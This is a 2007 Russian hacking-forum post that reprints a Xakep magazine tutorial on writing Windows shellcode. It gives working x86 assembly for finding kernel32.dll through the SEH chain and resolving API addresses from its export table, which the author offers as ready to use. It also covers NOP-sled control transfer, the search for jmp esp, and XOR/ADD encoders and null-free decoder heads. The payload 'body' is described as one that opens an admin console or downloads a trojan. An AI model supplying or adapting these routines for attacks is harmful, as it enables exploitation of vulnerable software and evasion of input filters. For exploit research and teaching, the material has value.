Статьи Принципы создания shell-кода и связанные с этим проблемы

Discussion in 'Статьи' started by bxN5, 11 Mar 2007.

  1. bxN5

    bxN5 Elder - Старейшина

    Joined:
    8 Jan 2006
    Messages:
    687
    Likes Received:
    138
    Reputations:
    32
    Основные проблемы при написании shell-кода
    Как ты уже знаешь, shell-код – это набор машинных инструкций, который переполняет буфер атакуемого процесса. При этом shell-код прикидывается чем-то безобидным, например, слишком длинной строкой. Он затирает память, расположенную сразу за буфером, изменяя данные, которые там находятся. Это меняет логику программы и позволяет shell-коду получить управление. Shell-коды обычно классифицируют в зависимости от того, где находится переполняемый буфер – в стековой памяти, в куче или в секции данных. Иногда ещё shell-коды различают по данным, которые затираются (адрес возврата из функции, указатель на функцию, указатель на класс и т.п.). Несмотря на это основные принципы написания shell-кодов всегда одинаковы. Shell-код чем-то похож на вирус: в большинстве случаев неизвестно, по какому адресу в памяти он окажется. Поэтому хакер, который пишет shell-код, обычно сталкивается с несколькими проблемами. Первая заключается в том, что для безусловных переходов внутри shell-кода нельзя использовать "дальних" вариантов инструкций jmp и call, потому что в качестве аргумента в них выступает абсолютный адрес. Но это не так уж страшно, shell-код обычно маленький и редко требует "дальних" переходов. Вторая проблема – локальные переменные. Но она тоже решается довольно просто. Если shell-код переполняет буфер в стеке, то на его голову обычно указывает esp, так что все переменные можно адресовать с помощью смещения:
    Листинг

    shell_code_start:

    ; занесем в eax лок. переменную var_1

    mov eax, [esp+var_1-shell_code_start]

    ......

    var_1 dd 0

    ......

    Если же shell-код находится в куче, то, получив управление, он может провернуть старый вирусный фокус:

    Листинг

    shell_code_start:

    call $+5

    pop ebp

    sub ebp, 5 ; теперь в ebp - адрес shell_code_start

    ......

    После этого он может обращаться к локальным переменным по смещению относительно ebp. Третья проблема – самая сложная. Как вызывать из shell-кода API? Ведь сначала нужно как-то узнать их адреса. Но каким образом? "Законно" shell-код эти адреса получить не может (хотя бы потому, что у него нет таблицы импорта). Поэтому нам остаются только способы "незаконные". Из них наиболее распространены два. Первый: запомнить адреса API и вызвать их напрямую; это очень просто, хотя не слишком удачно. Адреса API могут отличаться в разных версиях Windows и даже в разных сервиспаках одной и той же версии. Это сильно снижает шансы на успешную атаку удаленной системы. Второй способ: найти адреса API, используя какую-то вирусную технику. Это намного универсальнее, но сложнее, и код в результате получается больше. Вирусных техник существует около десятка. Прежде чем за них браться, нужно изучить формат Portable EXE (PE) и неплохо разбираться в некоторых особенностях архитектуры Windows. Для примера мы реализуем наиболее распространенную технику – нахождение адреса API путем анализа библиотеки kernel32.dll в памяти. Чтобы не лезть в теоретические дебри, давай напишем процедуру, которая находит адрес API-функции по ее имени. Эта процедура будет адресно-независимой, рабочей на всех версиях Windows, и ее можно будет использовать без каких-либо дополнительных корректив. Так что если ты не горишь желанием ковыряться в формате PE, просто бери ее и используй (INC-файл ты найдёшь на диске). Если же ты прочтешь комментарии и не поленишься во всем разобраться – большой тебе респект! :)
    Листинг

    Алгоритм процедуры поиска адреса API-функции по ее имени

    ; процедура находит адрес api и смещение этого адреса в таблице экспорта

    ; вход: ecx -- длина имени

    ; esi -- адрес строки с именем

    ; выход: ebx -- адрес адреса API

    ; edx -- адрес API

    ; eax -- адрес "головы" kernel32.dll

    getapi2k proc

    Сначала нужно найти какой-то адрес внутри kernel32.dll. Для этого мы просканируем цепочку SEH-структур. Указатель на первую такую структуру лежит по fs:[0]. SEH-структура имеет довольно интересное строение: ее первое двойное слово – адрес следующей в цепочке SEH-структуры, второе двойное слово – адрес exeption обработчика. Последняя в цепочке структура первым двойным словом имеет 0xFFFFFFFF, а вторым – адрес системного exeption обработчика (именно он выдает "Инструкция по адресу 0x???????? обратилась...").

    Листинг

    mov eax, fs:[0] ; заносим в eax адрес первой структуры SEH

    getapi2k_10: ; идем дальше по цепочке SEH-стуктур

    mov ebx, [eax] ; заносим в ebx адрес следующей SEH-структуры

    cmp ebx, -1 ; адрес равен 0FFFFFFFFh?

    je getapi2k_20 ; да! - значит эта SEH-структура - последняя в цепочке

    mov eax, ebx ; нет... идем дальше

    jmp short getapi2k_10

    getapi2k_20:

    mov eax, [eax+4]

    Теперь eax содержит какой-то адрес внутри kernel32.dll. При загрузке PE-файла Windows помещает его образ по адресу, кратному 64 K. Найдем адрес образа kernel32.dll (фактически адрес его DOS стаба). Учтем, что kernel32.dll первыми двумя байтами имеет сигнатуру 'MZ'.

    Листинг

    xor ax, ax ; выровняем найденный адрес на 64 К

    getapi2k_1:

    mov ebx, [eax] ; читаем 4 байта в ebx

    cmp bx, 5A4Dh ; 'MZ' найден?

    je getapi2k_2; да!

    sub eax, 010000h; нет - увеличим eax на 64 К

    jmp short getapi2k_1

    getapi2k_2:

    На данном этапе eax содержит адрес DOS стаба kernel32.dll. Проанализируем образ kernel32.dll в памяти. Цель – найти таблицу экспорта. Анализ реализуется следующим образом:

    Листинг

    ; поскольку в PE все смещения записаны относительно адреса DOS

    ; стаба, то нам придется все время их корректировать, добавляя

    ; к смещениям eax

    mov ebx, eax ; копируем в ebx адрес DOS стаба

    add ebx, [eax+3Ch]; добавляем к ebx смещение PE заголовка

    ; (оно лежит по смещению 0x3C от начала стаба)

    add ebx, 78h ; добавляем к ebx смещение указателя на таблицу экспорта

    ;относительно заголовка PE
    mov ebx, [ebx] ; заносим в ebx смещение таблицы экспорта

    add ebx, eax ; коррекция на стаб

    mov edx, [ebx+20h]; смещение таблицы имен

    add edx, eax; коррекция смещения на стаб

    push ebx ; запомним указатель на таблицу экспорта

    xor ebx, ebx; ebx теперь стал счетчиком

    Теперь у нас есть указатель на таблицу имен.

    Поиск нужного имени организуем следующим образом:

    Листинг

    getapi2k_4:

    push esi ; сохраняем в стеке регистры, которые будут

    push ecx; изменятся при сравнении строк (esi содержит имя

    ; нужной нам функции, ecx – ее длину)

    mov edi, [edx] ; смещение очередного имени API-функции

    add edi, eax; коррекция смещения на стаб

    repe cmpsb; сравнение

    je getapi2k_3; нашли!

    pop ecx; не нашли – восстанавливаем регистры

    pop esi

    add edx, 4; в edx – следующий элемент таблицы имен

    inc ebx ; увеличить счетчик и на новый виток цикла

    jmp short getapi2k_4

    Сейчас в ebx располагается индекс имени нужной API в таблице имен. Дальше делаем так:

    Листинг

    getapi2k_3:

    pop ecx; сбалансируем стек – вытолкнем из него esi и ecx,

    pop ecx; сохраненные во время сравнения строк

    pop ecx; последний pop заносит в ecx адрес таблицы экспорта

    ; (помните? мы его сохранили на стеке)

    shl ebx, 1; умножаем ebx на 2, это нам будет нужно в дальнейшем

    mov edx, [ecx+24h] ; заносим в edx адрес таблицы ординалов

    add edx, eax; корректируем его

    add edx, ebx; добавляем к нему смещение в ebx – получаем адрес

    ; номера API в таблице адресов

    mov edx, [edx]; заносим в edx номер API в таблице адресов

    and edx, 0FFFFh; (поскольку номер API – это WORD, обнулим старшее слово edx)

    В edx – номер в таблице адресов, в eax – адрес DOS стаба, в ecx – адрес export table. А вот теперь можем найти адрес интересующей нас API ;-):

    Листинг

    mov ebx, [ecx+1Ch]; заносим в ecx смещение таблицы адресов

    add ebx, eax; коррекция на стаб

    shl edx, 2; находим смещение адреса API в таблице адресов

    ; (множим edx на 4)

    add ebx, edx; находим этот адрес

    mov edx, [ebx] ; читаем его в ebx

    add edx, eax; коррекция на стаб

    ret; все!

    getapi2k endp

    Как видим, все это довольно сложно. Но, увы, такова специфика переносимого кода.

    Особенности передачи управления: большой буфер с nop'ами

    Поехали дальше. Допустим, мы можем подменить адрес возврата на свой или переписать указатель на какую-то функцию, которую вот-вот вызовут. Ну, а что дальше? Куда передать управление – какой адрес записать вместо настоящего? В качестве одного из вариантов довольно часто управление передают на инструкцию jmp esp, которую в процессе написания shell-кода находят либо в коде приложения, либо в какой-то системной библиотеке, загруженной в его адресное пространство. Как правило, сам поиск производят с помощью команды s отладчика Soft-Ice:

    s 10000000 L FFFFFFFF ff e4 ; (ff e4 – код инструкции)

    Это традиционный способ передачи управления на shell-код, и никаких трудностей здесь не возникает. Но в некоторых случаях при написании shell-кода управление выгодно передать какому-то другому коду, например jmp eax, где eax может указывать не на начало буфера, а выше – в середину или вообще в область памяти позади него :(. Что же делать в этом случае? Решение довольно простое: нужно погонять код уязвимой процедуры под отладкой в различных условиях и выяснить хотя бы пределы, в которых изменяется eax.
    Допустим, на отладке видно, что адрес в eax обычно не превышает 100 байт от начала буфера. Тогда при написании shell-кода этот интервал нужно заполнить nop'ами, а уже после них разместить какой-то полезный код.

    После выполнения jmp eax управление попадет на один из nop’ов. Когда все nop'ы, идущие после, выполнятся, управление в конце-концов попадет на полезный код. Эта техника так и называется – "большой буфер с nop'ами".

    Тонкости написания строкового shell-кода

    Большинство реальных переполнений – строковые. С одной стороны, это хорошо. Когда мы ищем уязвимость, то знаем, что длинные строки надо пробовать в первую очередь. С другой стороны, возникает небольшая проблема. Если shell-код внедряется в приложение в виде строки, он не должен содержать нулевых байт. При чтении строки с shell-кодом в буфер ноль будет воспринят как ее конец и shell-код внедрится не полностью. А это не есть гуд :(. Вот почему shell-код обычно делят на две части. Первая часть ("тело" shell-кода) – это небольшой переносимый код, который открывает консоль с админскими правами или закачивает троян из инета, в общем, делает что-то полезное. После того как тело написано и отлажено, хакер его шифрует так, чтобы в нем не было нулевых байт. Естественно, в зашифрованном виде тело работать не может. Поэтому к нему цепляется вторая часть ("голова") – небольшой код-дешифровщик, также не содержащий нулей. Сперва управление получает голова. Она дешифрует "тело" и отдает управление ему, после чего shell-код спокойно делает свои темные делишки ;-).

    Шифровка тела shell-кода и написание головы – не такие уж простые занятия. Большинство авторов рекомендуют шифровать побайтно, с помощью последовательного применения инструкций ADD и XOR.

    Что такое ADD? Всего лишь сложение! Если мы зашифровали байт, добавив к нему что-то, мы можем так же просто его расшифровать, нужно только это "что-то" отнять. XOR – это вообще прелесть! "Поксорив" байт, например, на 0xFF, мы его зашифровываем. "Поксорив" его опять на то же самое 0xFF, расшифровываем.

    Листинг

    Процедура шифрования с использованием инструкций ADD и XOR

    ; eax - адрес тела

    ; ecx - его длина

    crypt_exploit:

    mov bl, byte ptr[eax] ; читаем очередной байт тела в bl

    xor bl, XOR_KEY; ксорим его на XOR_KEY

    add bl, ADD_KEY; добавляем к нему ADD_KEY

    mov byte ptr[eax], bl ; записываем зашифрованный байт в тело

    inc eax ; перемещаем указатель на следующий байт тела

    loop crypt_exploit; если ecx не равно 0 - новый виток цикла

    ret

    XOR_KEY и ADD_KEY – два байта, играющие в нашем шифровании роль ключей. О них мы поговорим чуть позже. Сейчас лучше остановимся на голове shell-кода – процедуре дешифровки:

    Листинг

    Голова (процедура расшифровки тела shell-кода)

    exploit_head:

    ; заносим в ecx длину тела shell-кода (для простоты считаем, что
    она не больше 255 байт), стараемся, чтобы код не содержал

    ; нулевых байт, поэтому вместо

    ; mov ecx, expl_end-expl_start

    ; делаем так

    xor ecx, ecx

    mov cl, expl_end-expl_start

    ; заносим в eax уазатель на тело эксплоита, опять-таки

    ; стараемся, что бы код не содержал нулевых байт

    mov eax, esp; заносим в eax адрес головы shell-кода

    ; добавляем смещение на тело

    add eax, expl_start-exploit_head

    ; теперь все готово для дешифровки

    @@1: mov bl, byte ptr[eax] ; читаем очередной байт зашифрованного тела в bl

    add bl, -ADD_KEY; отнимаем от него ADD_KEY

    xor bl, XOR_KEY; ксорим его на XOR_KEY

    mov byte ptr[eax], bl; записываем расшифрованный байт в тело

    inc eax ; перемещаем указатель на следующий байт тела

    loop @@1; если ecx не равен 0 - новый виток цикла

    expl_start:

    ; тут находится тело shell-кода

    ......

    expl_end dd 0; нулевой байт, завершает строку с shell-кодом

    Как видим, процедура расшифровки почти не отличается от процедуры шифрования. Правда, в ней есть некоторые важные нюансы. Во-первых, если при шифровании мы сперва ксорили, а затем прибавляли, то при расшифровке мы делаем наоборот: сперва отнимаем, а затем ксорим. Во-вторых, сама процедура расшифровки не содержит нулевых байт – в этом можно убедиться, загнав ее под отладку. Само собой, обе процедуры могут использовать только одну из инструкций – AND или XOR. Например, для того чтобы использовать только XOR, достаточно закомментировать в процедуре шифрования строчку: add bl, ADD_KEY , а в процедуре дешифровки – строчку: add bl, -ADD_KEY, и тогда для шифрования понадобится лишь один байт – XOR_KEY. Теперь, как я и обещал, поговорим о байтах ADD_KEY и XOR_KEY. Эти два байта представляют собой ключи, с помощью которых мы зашифровываем и расшифровываем. Их надо подобрать так, чтобы зашифрованное тело shell-кода не содержало нулевых байт. Как это сделать? Большинство хакеров подбирают эти ключи методом научного тыка или пишут программы, которые находят нужную пару байт простым перебором. Этот способ работает в большинстве случаев, хотя он немного глуп. Поэтому я придумал, как шифровать эксплоиты любой длины с помощью последовательного применения нескольких XOR'ов. Я не буду объяснять здесь общую идею – она требует знания дискретной теории групп и немного сложна для вступительной статьи. Расскажу лишь о двух простых правилах, вытекающих из нее (в обоих правилах используется лишь XOR, ADD отдыхает).

    Правило 1. Если тело shell-кода меньше 256 байт и оно содержит нулевые байты, в качестве ключа XOR_KEY нужно брать байт, который ни разу не встречается в теле shell-кода. Такой байт обязательно найдется, ведь тело слишком короткое и не может содержать в себе 256 разных байт :). К тому же, этот байт будет ненулевым.

    Правило 2. Если тело shell-кода меньше 510 байт и оно содержит нулевые байты, то следует ксорить четные и нечетные байты тела отдельно. Сначала смотрим на нечетные байты (первый, третий, пятый и т.п.), четные пока не трогаем). Если среди них есть нулевые байты, то в качестве ключа XOR_KEY_EVEN берем байт, который среди них не встречается. Как и в первом случае, такой байт обязательно найдется, так как количество нечетных байт в теле shell-кода меньше чем 256. Шифруем этим ключом только нечетные байты и записываем в голову shell-кода процедуру их дешифровки. Потом смотрим на четные байты и делаем то же самое с ними:
    Листинг

    Примерный код процедуры шифровки нечетных байт

    ; eax - адрес тела

    ; ecx - его длина

    mov edx, eax

    dec edx

    add edx, ecx; теперь в ebx - адрес конца тела shell-кода

    @@2: mov bl, byte ptr[eax] ; читаем очередной нечетный байт тела в bl

    xor bl, XOR_KEY_EVEN ; ксорим его на XOR_KEY_EVEN

    mov byte ptr[eax], bl ; записываем зашифрованный байт в тело

    inc eax

    inc eax; перемещаем указатель на следующий

    ; нечетный байт тела

    cmp eax, edx ; достигнут ли конец тела shell-кода?

    jng @@2; нет!

    ret

    Соответственно, расшифровывать будем так:

    Листинг

    exploit_head:

    xor ecx, ecx

    mov cl, expl_end-expl_start; в ecx - длина тела

    mov eax, esp

    add eax, expl_start-exploit_head; в eax - указатель на тело

    mov edx, eax

    dec edx

    add edx, ecx; в edx - адрес конца тела

    ; процедура дешифровки полностью совпадает

    ; с процедурой шифрования – в этом и состоит вся

    ; прелесть XOR! ;-)))

    @@2:mov bl, byte ptr[eax]

    xor bl, XOR_KEY

    mov byte ptr[eax], bl

    inc eax

    inc eax

    cmp eax, edx

    jng @@2

    ret

    ; здесь может быть процедура для расшифровки

    ; четных байт (если она нужна).

    ......

    expl_start:

    ; тут находится тело shell-кода

    ......

    expl_end dd 0

    Второе правило допускает вариации. Например, можно не шифровать сначала каждый нечетный, а потом каждый четный байт, а разделить тело shell-кода на две равные половинки. Длина каждой половинки будет меньше чем 255 байт, дальше см. правило 1.

    Ну, вот и все. Теперь ты немного знаком с основными принципами написания shell-кода и, думаю, вооруженный этими знаниями, не наткнешься на стандартные грабли shell-кодописательства :).

    Для EXE-файлов системный exeption обработчик всегда находится в kernel32.dll.

    Таблица имен – это массив двойных слов, каждое из которых указывает на строку с завершающим нулем, содержащую имя очередной экспортируемой API-функции. ХХХХХХХХХХХХХХХХХХХ

    NOP – это однобайтная команда с опкодом 0x90, которая сама по себе ничего не делает.

    Чаще всего голова размещается перед телом shell-кода, но это не обязательно.

    Инструкции ADD и XOR используют в основном из-за того, что их действие обратимо.

    В большинстве случаев на процедуры шифровки-дешифровки полкилобайта кода хватает за глаза ;-).
    Спецвыпуск Xakep, номер #045